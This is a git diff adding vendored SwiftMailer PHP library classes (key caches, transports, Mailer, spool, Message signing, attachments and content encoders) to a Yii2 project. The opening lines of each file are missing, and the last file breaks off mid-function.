00000000..fd45ab93 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/InputByteStream.php @@ -0,0 +1,75 @@ +_stream = $stream; + } + + /** + * Set a string into the cache under $itemKey for the namespace $nsKey. + * + * @see MODE_WRITE, MODE_APPEND + * + * @param string $nsKey + * @param string $itemKey + * @param string $string + * @param int $mode + */ + public function setString($nsKey, $itemKey, $string, $mode) + { + $this->_prepareCache($nsKey); + switch ($mode) { + case self::MODE_WRITE: + $this->_contents[$nsKey][$itemKey] = $string; + break; + case self::MODE_APPEND: + if (!$this->hasKey($nsKey, $itemKey)) { + $this->_contents[$nsKey][$itemKey] = ''; + } + $this->_contents[$nsKey][$itemKey] .= $string; + break; + default: + throw new Swift_SwiftException( + 'Invalid mode ['.$mode.'] used to set nsKey='. + $nsKey.', itemKey='.$itemKey + ); + } + } + + /** + * Set a ByteStream into the cache under $itemKey for the namespace $nsKey. + * + * @see MODE_WRITE, MODE_APPEND + * + * @param string $nsKey + * @param string $itemKey + * @param Swift_OutputByteStream $os + * @param int $mode + */ + public function importFromByteStream($nsKey, $itemKey, Swift_OutputByteStream $os, $mode) + { + $this->_prepareCache($nsKey); + switch ($mode) { + case self::MODE_WRITE: + $this->clearKey($nsKey, $itemKey); + case self::MODE_APPEND: + if (!$this->hasKey($nsKey, $itemKey)) { + $this->_contents[$nsKey][$itemKey] = ''; + } + while (false !== $bytes = $os->read(8192)) { + $this->_contents[$nsKey][$itemKey] .= $bytes; + } + break; + default: + throw new Swift_SwiftException( + 'Invalid mode ['.$mode.'] used to set nsKey='. + $nsKey.', itemKey='.$itemKey + ); + } + } + + /** + * Provides a ByteStream which when written to, writes data to $itemKey. + * + * NOTE: The stream will always write in append mode. + * + * @param string $nsKey + * @param string $itemKey + * @param Swift_InputByteStream $writeThrough + * + * @return Swift_InputByteStream + */ + public function getInputByteStream($nsKey, $itemKey, Swift_InputByteStream $writeThrough = null) + { + $is = clone $this->_stream; + $is->setKeyCache($this); + $is->setNsKey($nsKey); + $is->setItemKey($itemKey); + if (isset($writeThrough)) { + $is->setWriteThroughStream($writeThrough); + } + + return $is; + } + + /** + * Get data back out of the cache as a string. + * + * @param string $nsKey + * @param string $itemKey + * + * @return string + */ + public function getString($nsKey, $itemKey) + { + $this->_prepareCache($nsKey); + if ($this->hasKey($nsKey, $itemKey)) { + return $this->_contents[$nsKey][$itemKey]; + } + } + + /** + * Get data back out of the cache as a ByteStream. + * + * @param string $nsKey + * @param string $itemKey + * @param Swift_InputByteStream $is to write the data to + */ + public function exportToByteStream($nsKey, $itemKey, Swift_InputByteStream $is) + { + $this->_prepareCache($nsKey); + $is->write($this->getString($nsKey, $itemKey)); + } + + /** + * Check if the given $itemKey exists in the namespace $nsKey. + * + * @param string $nsKey + * @param string $itemKey + * + * @return bool + */ + public function hasKey($nsKey, $itemKey) + { + $this->_prepareCache($nsKey); + + return array_key_exists($itemKey, $this->_contents[$nsKey]); + } + + /** + * Clear data for $itemKey in the namespace $nsKey if it exists. + * + * @param string $nsKey + * @param string $itemKey + */ + public function clearKey($nsKey, $itemKey) + { + unset($this->_contents[$nsKey][$itemKey]); + } + + /** + * Clear all data in the namespace $nsKey if it exists. + * + * @param string $nsKey + */ + public function clearAll($nsKey) + { + unset($this->_contents[$nsKey]); + } + + /** + * Initialize the namespace of $nsKey if needed. + * + * @param string $nsKey + */ + private function _prepareCache($nsKey) + { + if (!array_key_exists($nsKey, $this->_contents)) { + $this->_contents[$nsKey] = array(); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php new file mode 100644 index 00000000..5a709625 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php @@ -0,0 +1,324 @@ +_stream = $stream; + $this->_path = $path; + + if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) { + $this->_quotes = true; + } + } + + /** + * Set a string into the cache under $itemKey for the namespace $nsKey. + * + * @see MODE_WRITE, MODE_APPEND + * + * @param string $nsKey + * @param string $itemKey + * @param string $string + * @param int $mode + * + * @throws Swift_IoException + */ + public function setString($nsKey, $itemKey, $string, $mode) + { + $this->_prepareCache($nsKey); + switch ($mode) { + case self::MODE_WRITE: + $fp = $this->_getHandle($nsKey, $itemKey, self::POSITION_START); + break; + case self::MODE_APPEND: + $fp = $this->_getHandle($nsKey, $itemKey, self::POSITION_END); + break; + default: + throw new Swift_SwiftException( + 'Invalid mode ['.$mode.'] used to set nsKey='. + $nsKey.', itemKey='.$itemKey + ); + break; + } + fwrite($fp, $string); + $this->_freeHandle($nsKey, $itemKey); + } + + /** + * Set a ByteStream into the cache under $itemKey for the namespace $nsKey. + * + * @see MODE_WRITE, MODE_APPEND + * + * @param string $nsKey + * @param string $itemKey + * @param Swift_OutputByteStream $os + * @param int $mode + * + * @throws Swift_IoException + */ + public function importFromByteStream($nsKey, $itemKey, Swift_OutputByteStream $os, $mode) + { + $this->_prepareCache($nsKey); + switch ($mode) { + case self::MODE_WRITE: + $fp = $this->_getHandle($nsKey, $itemKey, self::POSITION_START); + break; + case self::MODE_APPEND: + $fp = $this->_getHandle($nsKey, $itemKey, self::POSITION_END); + break; + default: + throw new Swift_SwiftException( + 'Invalid mode ['.$mode.'] used to set nsKey='. + $nsKey.', itemKey='.$itemKey + ); + break; + } + while (false !== $bytes = $os->read(8192)) { + fwrite($fp, $bytes); + } + $this->_freeHandle($nsKey, $itemKey); + } + + /** + * Provides a ByteStream which when written to, writes data to $itemKey. + * + * NOTE: The stream will always write in append mode. + * + * @param string $nsKey + * @param string $itemKey + * @param Swift_InputByteStream $writeThrough + * + * @return Swift_InputByteStream + */ + public function getInputByteStream($nsKey, $itemKey, Swift_InputByteStream $writeThrough = null) + { + $is = clone $this->_stream; + $is->setKeyCache($this); + $is->setNsKey($nsKey); + $is->setItemKey($itemKey); + if (isset($writeThrough)) { + $is->setWriteThroughStream($writeThrough); + } + + return $is; + } + + /** + * Get data back out of the cache as a string. + * + * @param string $nsKey + * @param string $itemKey + * + * @return string + * + * @throws Swift_IoException + */ + public function getString($nsKey, $itemKey) + { + $this->_prepareCache($nsKey); + if ($this->hasKey($nsKey, $itemKey)) { + $fp = $this->_getHandle($nsKey, $itemKey, self::POSITION_START); + if ($this->_quotes) { + ini_set('magic_quotes_runtime', 0); + } + $str = ''; + while (!feof($fp) && false !== $bytes = fread($fp, 8192)) { + $str .= $bytes; + } + if ($this->_quotes) { + ini_set('magic_quotes_runtime', 1); + } + $this->_freeHandle($nsKey, $itemKey); + + return $str; + } + } + + /** + * Get data back out of the cache as a ByteStream. + * + * @param string $nsKey + * @param string $itemKey + * @param Swift_InputByteStream $is to write the data to + */ + public function exportToByteStream($nsKey, $itemKey, Swift_InputByteStream $is) + { + if ($this->hasKey($nsKey, $itemKey)) { + $fp = $this->_getHandle($nsKey, $itemKey, self::POSITION_START); + if ($this->_quotes) { + ini_set('magic_quotes_runtime', 0); + } + while (!feof($fp) && false !== $bytes = fread($fp, 8192)) { + $is->write($bytes); + } + if ($this->_quotes) { + ini_set('magic_quotes_runtime', 1); + } + $this->_freeHandle($nsKey, $itemKey); + } + } + + /** + * Check if the given $itemKey exists in the namespace $nsKey. + * + * @param string $nsKey + * @param string $itemKey + * + * @return bool + */ + public function hasKey($nsKey, $itemKey) + { + return is_file($this->_path.'/'.$nsKey.'/'.$itemKey); + } + + /** + * Clear data for $itemKey in the namespace $nsKey if it exists. + * + * @param string $nsKey + * @param string $itemKey + */ + public function clearKey($nsKey, $itemKey) + { + if ($this->hasKey($nsKey, $itemKey)) { + $this->_freeHandle($nsKey, $itemKey); + unlink($this->_path.'/'.$nsKey.'/'.$itemKey); + } + } + + /** + * Clear all data in the namespace $nsKey if it exists. + * + * @param string $nsKey + */ + public function clearAll($nsKey) + { + if (array_key_exists($nsKey, $this->_keys)) { + foreach ($this->_keys[$nsKey] as $itemKey => $null) { + $this->clearKey($nsKey, $itemKey); + } + if (is_dir($this->_path.'/'.$nsKey)) { + rmdir($this->_path.'/'.$nsKey); + } + unset($this->_keys[$nsKey]); + } + } + + /** + * Initialize the namespace of $nsKey if needed. + * + * @param string $nsKey + */ + private function _prepareCache($nsKey) + { + $cacheDir = $this->_path.'/'.$nsKey; + if (!is_dir($cacheDir)) { + if (!mkdir($cacheDir)) { + throw new Swift_IoException('Failed to create cache directory '.$cacheDir); + } + $this->_keys[$nsKey] = array(); + } + } + + /** + * Get a file handle on the cache item. + * + * @param string $nsKey + * @param string $itemKey + * @param int $position + * + * @return resource + */ + private function _getHandle($nsKey, $itemKey, $position) + { + if (!isset($this->_keys[$nsKey][$itemKey])) { + $openMode = $this->hasKey($nsKey, $itemKey) + ? 'r+b' + : 'w+b' + ; + $fp = fopen($this->_path.'/'.$nsKey.'/'.$itemKey, $openMode); + $this->_keys[$nsKey][$itemKey] = $fp; + } + if (self::POSITION_START == $position) { + fseek($this->_keys[$nsKey][$itemKey], 0, SEEK_SET); + } elseif (self::POSITION_END == $position) { + fseek($this->_keys[$nsKey][$itemKey], 0, SEEK_END); + } + + return $this->_keys[$nsKey][$itemKey]; + } + + private function _freeHandle($nsKey, $itemKey) + { + $fp = $this->_getHandle($nsKey, $itemKey, self::POSITION_CURRENT); + fclose($fp); + $this->_keys[$nsKey][$itemKey] = null; + } + + /** + * Destructor. + */ + public function __destruct() + { + foreach ($this->_keys as $nsKey => $null) { + $this->clearAll($nsKey); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/KeyCacheInputStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/KeyCacheInputStream.php new file mode 100644 index 00000000..76039d8a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/KeyCacheInputStream.php @@ -0,0 +1,51 @@ +_keyCache = $keyCache; + } + + /** + * Specify a stream to write through for each write(). + * + * @param Swift_InputByteStream $is + */ + public function setWriteThroughStream(Swift_InputByteStream $is) + { + $this->_writeThrough = $is; + } + + /** + * Writes $bytes to the end of the stream. + * + * @param string $bytes + * @param Swift_InputByteStream $is optional + */ + public function write($bytes, Swift_InputByteStream $is = null) + { + $this->_keyCache->setString( + $this->_nsKey, $this->_itemKey, $bytes, Swift_KeyCache::MODE_APPEND + ); + if (isset($is)) { + $is->write($bytes); + } + if (isset($this->_writeThrough)) { + $this->_writeThrough->write($bytes); + } + } + + /** + * Not used. + */ + public function commit() + { + } + + /** + * Not used. + */ + public function bind(Swift_InputByteStream $is) + { + } + + /** + * Not used. + */ + public function unbind(Swift_InputByteStream $is) + { + } + + /** + * Flush the contents of the stream (empty it) and set the internal pointer + * to the beginning. + */ + public function flushBuffers() + { + $this->_keyCache->clearKey($this->_nsKey, $this->_itemKey); + } + + /** + * Set the nsKey which will be written to. + * + * @param string $nsKey + */ + public function setNsKey($nsKey) + { + $this->_nsKey = $nsKey; + } + + /** + * Set the itemKey which will be written to. + * + * @param string $itemKey + */ + public function setItemKey($itemKey) + { + $this->_itemKey = $itemKey; + } + + /** + * Any implementation should be cloneable, allowing the clone to access a + * separate $nsKey and $itemKey. + */ + public function __clone() + { + $this->_writeThrough = null; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/LoadBalancedTransport.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/LoadBalancedTransport.php new file mode 100644 index 00000000..6e1080b9 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/LoadBalancedTransport.php @@ -0,0 +1,45 @@ +createDependenciesFor('transport.loadbalanced') + ); + + $this->setTransports($transports); + } + + /** + * Create a new LoadBalancedTransport instance. + * + * @param array $transports + * + * @return Swift_LoadBalancedTransport + */ + public static function newInstance($transports = array()) + { + return new self($transports); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/MailTransport.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/MailTransport.php new file mode 100644 index 00000000..a6d3340d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/MailTransport.php @@ -0,0 +1,45 @@ +createDependenciesFor('transport.mail') + ); + + $this->setExtraParams($extraParams); + } + + /** + * Create a new MailTransport instance. + * + * @param string $extraParams To be passed to mail() + * + * @return Swift_MailTransport + */ + public static function newInstance($extraParams = '-f%s') + { + return new self($extraParams); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mailer.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mailer.php new file mode 100644 index 00000000..5677fcb4 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mailer.php @@ -0,0 +1,114 @@ +_transport = $transport; + } + + /** + * Create a new Mailer instance. + * + * @param Swift_Transport $transport + * + * @return Swift_Mailer + */ + public static function newInstance(Swift_Transport $transport) + { + return new self($transport); + } + + /** + * Create a new class instance of one of the message services. + * + * For example 'mimepart' would create a 'message.mimepart' instance + * + * @param string $service + * + * @return object + */ + public function createMessage($service = 'message') + { + return Swift_DependencyContainer::getInstance() + ->lookup('message.'.$service); + } + + /** + * Send the given Message like it would be sent in a mail client. + * + * All recipients (with the exception of Bcc) will be able to see the other + * recipients this message was sent to. + * + * Recipient/sender data will be retrieved from the Message object. + * + * The return value is the number of recipients who were accepted for + * delivery. + * + * @param Swift_Mime_Message $message + * @param array $failedRecipients An array of failures by-reference + * + * @return int + */ + public function send(Swift_Mime_Message $message, &$failedRecipients = null) + { + $failedRecipients = (array) $failedRecipients; + + if (!$this->_transport->isStarted()) { + $this->_transport->start(); + } + + $sent = 0; + + try { + $sent = $this->_transport->send($message, $failedRecipients); + } catch (Swift_RfcComplianceException $e) { + foreach ($message->getTo() as $address => $name) { + $failedRecipients[] = $address; + } + } + + return $sent; + } + + /** + * Register a plugin using a known unique key (e.g. myPlugin). + * + * @param Swift_Events_EventListener $plugin + */ + public function registerPlugin(Swift_Events_EventListener $plugin) + { + $this->_transport->registerPlugin($plugin); + } + + /** + * The Transport used to send messages. + * + * @return Swift_Transport + */ + public function getTransport() + { + return $this->_transport; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mailer/ArrayRecipientIterator.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mailer/ArrayRecipientIterator.php new file mode 100644 index 00000000..d02e1846 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mailer/ArrayRecipientIterator.php @@ -0,0 +1,55 @@ +_recipients = $recipients; + } + + /** + * Returns true only if there are more recipients to send to. + * + * @return bool + */ + public function hasNext() + { + return !empty($this->_recipients); + } + + /** + * Returns an array where the keys are the addresses of recipients and the + * values are the names. e.g. ('foo@bar' => 'Foo') or ('foo@bar' => NULL) + * + * @return array + */ + public function nextRecipient() + { + return array_splice($this->_recipients, 0, 1); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mailer/RecipientIterator.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mailer/RecipientIterator.php new file mode 100644 index 00000000..a935c563 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mailer/RecipientIterator.php @@ -0,0 +1,32 @@ + 'Foo') or ('foo@bar' => NULL) + * + * @return array + */ + public function nextRecipient(); +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/MemorySpool.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/MemorySpool.php new file mode 100644 index 00000000..590fc488 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/MemorySpool.php @@ -0,0 +1,84 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Stores Messages in memory. + * + * @author Fabien Potencier + */ +class Swift_MemorySpool implements Swift_Spool +{ + protected $messages = array(); + + /** + * Tests if this Transport mechanism has started. + * + * @return bool + */ + public function isStarted() + { + return true; + } + + /** + * Starts this Transport mechanism. + */ + public function start() + { + } + + /** + * Stops this Transport mechanism. + */ + public function stop() + { + } + + /** + * Stores a message in the queue. + * + * @param Swift_Mime_Message $message The message to store + * + * @return bool Whether the operation has succeeded + */ + public function queueMessage(Swift_Mime_Message $message) + { + //clone the message to make sure it is not changed while in the queue + $this->messages[] = clone $message; + + return true; + } + + /** + * Sends messages using the given transport instance. + * + * @param Swift_Transport $transport A transport instance + * @param string[] $failedRecipients An array of failures by-reference + * + * @return int The number of sent emails + */ + public function flushQueue(Swift_Transport $transport, &$failedRecipients = null) + { + if (!$this->messages) { + return 0; + } + + if (!$transport->isStarted()) { + $transport->start(); + } + + $count = 0; + while ($message = array_pop($this->messages)) { + $count += $transport->send($message, $failedRecipients); + } + + return $count; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Message.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Message.php new file mode 100644 index 00000000..6887a075 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Message.php @@ -0,0 +1,287 @@ +createDependenciesFor('mime.message') + ); + + if (!isset($charset)) { + $charset = Swift_DependencyContainer::getInstance() + ->lookup('properties.charset'); + } + $this->setSubject($subject); + $this->setBody($body); + $this->setCharset($charset); + if ($contentType) { + $this->setContentType($contentType); + } + } + + /** + * Create a new Message. + * + * @param string $subject + * @param string $body + * @param string $contentType + * @param string $charset + * + * @return Swift_Message + */ + public static function newInstance($subject = null, $body = null, $contentType = null, $charset = null) + { + return new self($subject, $body, $contentType, $charset); + } + + /** + * Add a MimePart to this Message. + * + * @param string|Swift_OutputByteStream $body + * @param string $contentType + * @param string $charset + * + * @return Swift_Mime_SimpleMessage + */ + public function addPart($body, $contentType = null, $charset = null) + { + return $this->attach(Swift_MimePart::newInstance( + $body, $contentType, $charset + )); + } + + /** + * Attach a new signature handler to the message. + * + * @param Swift_Signer $signer + * @return Swift_Message + */ + public function attachSigner(Swift_Signer $signer) + { + if ($signer instanceof Swift_Signers_HeaderSigner) { + $this->headerSigners[] = $signer; + } elseif ($signer instanceof Swift_Signers_BodySigner) { + $this->bodySigners[] = $signer; + } + + return $this; + } + + /** + * Attach a new signature handler to the message. + * + * @param Swift_Signer $signer + * @return Swift_Message + */ + public function detachSigner(Swift_Signer $signer) + { + if ($signer instanceof Swift_Signers_HeaderSigner) { + foreach ($this->headerSigners as $k => $headerSigner) { + if ($headerSigner === $signer) { + unset($this->headerSigners[$k]); + + return $this; + } + } + } elseif ($signer instanceof Swift_Signers_BodySigner) { + foreach ($this->bodySigners as $k => $bodySigner) { + if ($bodySigner === $signer) { + unset($this->bodySigners[$k]); + + return $this; + } + } + } + + return $this; + } + + /** + * Get this message as a complete string. + * + * @return string + */ + public function toString() + { + if (empty($this->headerSigners) && empty($this->bodySigners)) { + return parent::toString(); + } + + $this->saveMessage(); + + $this->doSign(); + + $string = parent::toString(); + + $this->restoreMessage(); + + return $string; + } + + /** + * Write this message to a {@link Swift_InputByteStream}. + * + * @param Swift_InputByteStream $is + */ + public function toByteStream(Swift_InputByteStream $is) + { + if (empty($this->headerSigners) && empty($this->bodySigners)) { + parent::toByteStream($is); + + return; + } + + $this->saveMessage(); + + $this->doSign(); + + parent::toByteStream($is); + + $this->restoreMessage(); + } + + public function __wakeup() + { + Swift_DependencyContainer::getInstance()->createDependenciesFor('mime.message'); + } + + /** + * loops through signers and apply the signatures + */ + protected function doSign() + { + foreach ($this->bodySigners as $signer) { + $altered = $signer->getAlteredHeaders(); + $this->saveHeaders($altered); + $signer->signMessage($this); + } + + foreach ($this->headerSigners as $signer) { + $altered = $signer->getAlteredHeaders(); + $this->saveHeaders($altered); + $signer->reset(); + + $signer->setHeaders($this->getHeaders()); + + $signer->startBody(); + $this->_bodyToByteStream($signer); + $signer->endBody(); + + $signer->addSignature($this->getHeaders()); + } + } + + /** + * save the message before any signature is applied + */ + protected function saveMessage() + { + $this->savedMessage = array('headers' => array()); + $this->savedMessage['body'] = $this->getBody(); + $this->savedMessage['children'] = $this->getChildren(); + if (count($this->savedMessage['children']) > 0 && $this->getBody() != '') { + $this->setChildren(array_merge(array($this->_becomeMimePart()), $this->savedMessage['children'])); + $this->setBody(''); + } + } + + /** + * save the original headers + * @param array $altered + */ + protected function saveHeaders(array $altered) + { + foreach ($altered as $head) { + $lc = strtolower($head); + + if (!isset($this->savedMessage['headers'][$lc])) { + $this->savedMessage['headers'][$lc] = $this->getHeaders()->getAll($head); + } + } + } + + /** + * Remove or restore altered headers + */ + protected function restoreHeaders() + { + foreach ($this->savedMessage['headers'] as $name => $savedValue) { + $headers = $this->getHeaders()->getAll($name); + + foreach ($headers as $key => $value) { + if (!isset($savedValue[$key])) { + $this->getHeaders()->remove($name, $key); + } + } + } + } + + /** + * Restore message body + */ + protected function restoreMessage() + { + $this->setBody($this->savedMessage['body']); + $this->setChildren($this->savedMessage['children']); + + $this->restoreHeaders(); + $this->savedMessage = array(); + } + + /** + * Clone Message Signers + * @see Swift_Mime_SimpleMimeEntity::__clone() + */ + public function __clone() + { + parent::__clone(); + foreach ($this->bodySigners as $key => $bodySigner) { + $this->bodySigners[$key] = clone($bodySigner); + } + + foreach ($this->headerSigners as $key => $headerSigner) { + $this->headerSigners[$key] = clone($headerSigner); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Attachment.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Attachment.php new file mode 100644 index 00000000..d9d96529 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Attachment.php @@ -0,0 +1,153 @@ +setDisposition('attachment'); + $this->setContentType('application/octet-stream'); + $this->_mimeTypes = $mimeTypes; + } + + /** + * Get the nesting level used for this attachment. + * + * Always returns {@link LEVEL_MIXED}. + * + * @return int + */ + public function getNestingLevel() + { + return self::LEVEL_MIXED; + } + + /** + * Get the Content-Disposition of this attachment. + * + * By default attachments have a disposition of "attachment". + * + * @return string + */ + public function getDisposition() + { + return $this->_getHeaderFieldModel('Content-Disposition'); + } + + /** + * Set the Content-Disposition of this attachment. + * + * @param string $disposition + * + * @return Swift_Mime_Attachment + */ + public function setDisposition($disposition) + { + if (!$this->_setHeaderFieldModel('Content-Disposition', $disposition)) { + $this->getHeaders()->addParameterizedHeader( + 'Content-Disposition', $disposition + ); + } + + return $this; + } + + /** + * Get the filename of this attachment when downloaded. + * + * @return string + */ + public function getFilename() + { + return $this->_getHeaderParameter('Content-Disposition', 'filename'); + } + + /** + * Set the filename of this attachment. + * + * @param string $filename + * + * @return Swift_Mime_Attachment + */ + public function setFilename($filename) + { + $this->_setHeaderParameter('Content-Disposition', 'filename', $filename); + $this->_setHeaderParameter('Content-Type', 'name', $filename); + + return $this; + } + + /** + * Get the file size of this attachment. + * + * @return int + */ + public function getSize() + { + return $this->_getHeaderParameter('Content-Disposition', 'size'); + } + + /** + * Set the file size of this attachment. + * + * @param int $size + * + * @return Swift_Mime_Attachment + */ + public function setSize($size) + { + $this->_setHeaderParameter('Content-Disposition', 'size', $size); + + return $this; + } + + /** + * Set the file that this attachment is for. + * + * @param Swift_FileStream $file + * @param string $contentType optional + * + * @return Swift_Mime_Attachment + */ + public function setFile(Swift_FileStream $file, $contentType = null) + { + $this->setFilename(basename($file->getPath())); + $this->setBody($file, $contentType); + if (!isset($contentType)) { + $extension = strtolower(substr( + $file->getPath(), strrpos($file->getPath(), '.') + 1 + )); + + if (array_key_exists($extension, $this->_mimeTypes)) { + $this->setContentType($this->_mimeTypes[$extension]); + } + } + + return $this; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/CharsetObserver.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/CharsetObserver.php new file mode 100644 index 00000000..57d8bc46 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/CharsetObserver.php @@ -0,0 +1,24 @@ += $maxLineLength || 76 < $maxLineLength) { + $maxLineLength = 76; + } + + $remainder = 0; + + while (false !== $bytes = $os->read(8190)) { + $encoded = base64_encode($bytes); + $encodedTransformed = ''; + $thisMaxLineLength = $maxLineLength - $remainder - $firstLineOffset; + + while ($thisMaxLineLength < strlen($encoded)) { + $encodedTransformed .= substr($encoded, 0, $thisMaxLineLength)."\r\n"; + $firstLineOffset = 0; + $encoded = substr($encoded, $thisMaxLineLength); + $thisMaxLineLength = $maxLineLength; + $remainder = 0; + } + + if (0 < $remainingLength = strlen($encoded)) { + $remainder += $remainingLength; + $encodedTransformed .= $encoded; + $encoded = null; + } + + $is->write($encodedTransformed); + } + } + + /** + * Get the name of this encoding scheme. + * Returns the string 'base64'. + * + * @return string + */ + public function getName() + { + return 'base64'; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/NativeQpContentEncoder.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/NativeQpContentEncoder.php new file mode 100644 index 00000000..e97195a5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/NativeQpContentEncoder.php @@ -0,0 +1,123 @@ +charset = $charset ? $charset : 'utf-8'; + } + + /** + * Notify this observer that the entity's charset has changed. + * + * @param string $charset + */ + public function charsetChanged($charset) + { + $this->charset = $charset; + } + + /** + * Encode $in to $out. + * + * @param Swift_OutputByteStream $os to read from + * @param Swift_InputByteStream $is to write to + * @param int $firstLineOffset + * @param int $maxLineLength 0 indicates the default length for this encoding + * + * @throws RuntimeException + */ + public function encodeByteStream(Swift_OutputByteStream $os, Swift_InputByteStream $is, $firstLineOffset = 0, $maxLineLength = 0) + { + if ($this->charset !== 'utf-8') { + throw new RuntimeException( + sprintf('Charset "%s" not supported. NativeQpContentEncoder only supports "utf-8"', $this->charset)); + } + + $string = ''; + + while (false !== $bytes = $os->read(8192)) { + $string .= $bytes; + } + + $is->write($this->encodeString($string)); + } + + /** + * Get the MIME name of this content encoding scheme. + * + * @return string + */ + public function getName() + { + return 'quoted-printable'; + } + + /** + * Encode a given string to produce an encoded string. + * + * @param string $string + * @param int $firstLineOffset if first line needs to be shorter + * @param int $maxLineLength 0 indicates the default length for this encoding + * + * @return string + * + * @throws RuntimeException + */ + public function encodeString($string, $firstLineOffset = 0, $maxLineLength = 0) + { + if ($this->charset !== 'utf-8') { + throw new RuntimeException( + sprintf('Charset "%s" not supported. NativeQpContentEncoder only supports "utf-8"', $this->charset)); + } + + return $this->_standardize(quoted_printable_encode($string)); + } + + /** + * Make sure CRLF is correct and HT/SPACE are in valid places. + * + * @param string $string + * + * @return string + */ + protected function _standardize($string) + { + // transform CR or LF to CRLF + $string = preg_replace('~=0D(?!=0A)|(?_name = $name; + $this->_canonical = $canonical; + } + + /** + * Encode a given string to produce an encoded string. + * + * @param string $string + * @param int $firstLineOffset ignored + * @param int $maxLineLength - 0 means no wrapping will occur + * + * @return string + */ + public function encodeString($string, $firstLineOffset = 0, $maxLineLength = 0) + { + if ($this->_canonical) { + $string = $this->_canonicalize($string); + } + + return $this->_safeWordWrap($string, $maxLineLength, "\r\n"); + } + + /** + * Encode stream $in to stream $out. + * + * @param Swift_OutputByteStream $os + * @param Swift_InputByteStream $is + * @param int $firstLineOffset ignored + * @param int $maxLineLength optional, 0 means no wrapping will occur + */ + public function encodeByteStream(Swift_OutputByteStream $os, Swift_InputByteStream $is, $firstLineOffset = 0, $maxLineLength = 0) + { + $leftOver = ''; + while (false !== $bytes = $os->read(8192)) { + $toencode = $leftOver.$bytes; + if ($this->_canonical) { + $toencode = $this->_canonicalize($toencode); + } + $wrapped = $this->_safeWordWrap($toencode, $maxLineLength, "\r\n"); + $lastLinePos = strrpos($wrapped, "\r\n"); + $leftOver = substr($wrapped, $lastLinePos); + $wrapped = substr($wrapped, 0, $lastLinePos); + + $is->write($wrapped); + } + if (strlen($leftOver)) { + $is->write($leftOver); + } + } + + /** + * Get the name of this encoding scheme. + * + * @return string + */ + public function getName() + { + return $this->_name; + } + + /** + * Not used. + */ + public function charsetChanged($charset) + { + } + + /** + * A safer (but weaker) wordwrap for unicode. + * + * @param string $string + * @param int $length + * @param string $le + * + * @return string + */ + private function _safeWordwrap($string, $length = 75, $le = "\r\n") + { + if (0 >= $length) { + return $string; + } + + $originalLines = explode($le, $string); + + $lines = array(); + $lineCount = 0; + + foreach ($originalLines as $originalLine) { + $lines[] = ''; + $currentLine = & $lines[$lineCount++]; + + //$chunks = preg_split('/(?<=[\ \t,\.!\?\-&\+\/])/', $originalLine); + $chunks = preg_split('/(?<=\s)/', $originalLine); + + foreach ($chunks as $chunk) { + if (0 != strlen($currentLine) + && strlen($currentLine.$chunk) > $length) { + $lines[] = ''; + $currentLine = & $lines[$lineCount++]; + } + $currentLine .= $chunk; + } + } + + return implode("\r\n", $lines); + } + + /** + * Canonicalize string input (fix CRLF). + * + * @param string $string + * + * @return string + */ + private function _canonicalize($string) + { + return 